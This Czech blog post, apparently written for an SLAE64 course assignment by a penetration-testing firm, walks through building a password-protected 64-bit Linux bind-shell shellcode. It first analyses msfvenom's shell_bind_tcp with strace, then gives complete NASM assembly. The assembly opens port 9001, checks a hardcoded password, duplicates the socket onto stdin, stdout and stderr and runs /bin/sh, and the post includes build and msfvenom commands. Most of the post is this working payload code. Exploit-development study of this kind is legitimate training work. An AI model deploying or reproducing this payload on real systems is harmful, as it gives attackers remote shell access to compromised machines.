Password protected Shell_Bind_Tcp 64bitový Shellcode

V prvním textu této 64bitové série bude demonstrováno, jak si vytvořit vlastní 64bitový bind tcp shellcode s nutností zadat správné heslo, aby došlo k otevření shellu.

Jako inspirace bude použit shell_bind_tcp z msfvenom, který bude analyzován pomocí strace.

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x64/shell_bind_tcp ––list-options

Je zde pouze jedno povinné nastavení a to „LPORT“.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x64/shell_bind_tcp LPORT=9001 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode-bind.c -o shellcode-bind

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn, otevřel port 9001, poslouchá a čeká na připojení. Nyní můžeme analyzovat shellcode pomocí strace, abychom plně porozuměli tomu, jak funguje:

Můžeme vidět, že shell_bind_tcp používá tyto syscally:

socket -> bind -> listen -> accept -> dup2 -> execve

Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:

  • strace -e socket,bind,listen,accept,dup2,execve ./shellcode-bind

Navíc budeme muset přidat nový syscall read, abychom mohli ověřit, že zadané heslo je správné. Syscall read bude před syscallem dup2.

Více informací o syscallu socket najdeme pomocí „man 2 socket“ => int socket(int domain, int type, int protocol); jak vidíme, budeme potřebovat celkem 4 registry.

Hodnoty najdeme pomocí:

  • grep -R “_INET” /usr/include/
    • PF_INET = 2
  • grep -R “SOCK_STREAM” /usr/include/
    • SOCK_STREAM = 1
  • grep -R “IPPROTO_IP” /usr/include/
    • IPPROTO_IP = 0

Nyní můžeme vytvořit první část v assembly:

; Filename: linux_x64_shell_bind_tcp.nasm
; Author: SLAE64-14209
 
global _start
 
section .text
 
_start:
 
; syscall socket()
 
push 0x29
pop rax ; syscall socket = 41
push 0x02
pop rdi ; AF_INET = 2
push 0x01
pop rsi ; SOCKET_STREAM = 1
cdq ; rdx = 0
syscall
mov rdi, rax ; store for future references

Následně musíme vytvořit syscall syscall bind. Více informací o syscallu najdeme pomocí „man 2 bind“:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

  • sockfd = reference na socket (RDI)
  • const struct sockaddr *addr => pointer na místo do stacku sockaddr struct, který budeme vytvářet

Sockaddr struct je složený z:

  • AF_INET => 2
  • Port number => 9001 decimal = 2329 hex => little endian = 0x2923
  • Internet address => 0.0.0.0
  • 0
  • socklen_t addrlen => length of the address which the /usr/include/linux/in.h =>
    • #define __SOCK_SIZE__   16              /* sizeof(struct sockaddr)      */ => 16

Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.

Následně můžeme aktualizovat nasm soubor:

; syscall bind()
 
push 0x31
pop rax ; syscall bind = 49
push rdx
push rdx ; 0.0.0.0
push word 0x2923 ; port 9001
push word 0x02 ; AF_INET = 2
mov rsi, rsp ; stack pointer
add rdx, 0x10 ; addrlen = 16
syscall

Jako další budeme potřebovat listen() syscall:

  • man 2 listen:
    • int listen(int sockfd, int backlog);
      • listen() = RAX
      • sockfd = RDI -> reference na RDI
      • backlog = RSI -> 0
; syscall listen()
 
push 0x32
pop rax ; syscall listen = 50
; rdi = already setup
xor rsi, rsi ; rsi = 0
syscall

Jako další budeme potřebovat accept() syscall:

  • man 2 accept4
    • int accept4(int sockfd, struct sockaddr *addr,

                   socklen_t *addrlen, int flags);

  • listen() = RAX
  • sockfd = RDI
  • addr = RSI 0
  • addrlen = RDX 0
  • flags = 0
; syscall accept()
 
push 0x2b
pop rax ; = 43
; rsi = uložené
mov rdx, rsi ; RDX = 0
syscall
mov r9, rax ; uložit file descriptor k budoucím referencím

Jako další budeme potřebovat validovat heslo, které bude zadané uživatelem, použijeme syscall read() a porovnáme s hardcodovaným heslem v shellcode. Pokud bude heslo shodné, dojde ke spuštění syscallu execve.

  • read() syscall:
    • man 2 read:
      • read() = RAX 0
      • int fd = RDI
      • void *buf = pointer na RSI
      • size_t count = lenght = RDX
; authenticate:
 
mov rax, rsi ; syscall read = 0
mov rdi, r9 ; reference na uložený file descriptor
sub rsp, 0x1e
mov rsi, rsp ; alokování místa ve stacku
mov dl, 0x1e ; bytes to read
syscall
 
; compare:
 
mov rax, 0x64726f7773736170 ; hardcoded password in little endian "drowssap"
mov rdi, rsi ; password
scasq ; compare rax with rdi
jne end ; pokud je heslo nesprávně tak udělat jmp na end

Jako další budeme potřebovat dup2 syscall:

  • man 2 dup2
    • int dup2(int oldfd, int newfd);
      • bude potřeba udělat 3x loop RSI:
        • STDIN
        • STDOUT
        • STDERR
      • dup2 = RAX 33

Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => RDI

; syscall dup2()
 
push 0x02
pop rsi ; rsi = 2
mov rdi, r9 ; rdi -> file descriptor
 
loop:
push 0x21
pop rax ; syscall dup2 = 33
syscall
dec rsi ; decrement fd
jns loop

Jako další budeme potřebovat execve syscall:

  • man 2 execve:
    • int execve(const char *pathname, char *const argv[],

                   char *const envp[]);

  • execve = RAX
  • pathname = RDI = ‘//bin/sh’ (length 8) terminated by null byte
    • python
      • code = ‘//bin/sh’
      • code[::-1].encode(‘hex’)
      • 0x68732f6e    ; ‘hs/n” 
      • 0x69622f2f    ; ‘ib//’
  • argv = RSI 0
  • envp = RDX 0
; syscall execve()
 
push 0x3b ; = 59
pop rax ; syscall execve()
cdq                    
mov rbx, 0x68732f6e69622f ; "hs/nib/"
push rbx                     
mov rdi, rsp ; RSI -> RDI -> pathname = /bin/sh,0x0  
push rdx ; RDX = 0
push rdi
mov rsi, rsp
syscall ; executing syscall execve()
 
end:
 
push 0x3c
pop rax ; rax = 60
syscall

Kompletní nasm soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%201/linux_64_shell_bind_tcp.nasm

Nasm soubor zkompilujeme:

  • nasm -f elf64 -o bind.o bind.nasm
  • ld bind.o -o bind

Můžeme zkusit spustit nejdříve se špatným heslem, například “wrong password”, shell bude ukončený. Pokud zadáme správné heslo “password” bind shell bude fungovat:

Jak můžeme vidět výše, bind shell funguje a otevře port 9001.

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
Password protected Shell_Reverse_Tcp 64bitový Shellcode
Předchozí příspěvek
32bitový Custom Crypter
Menu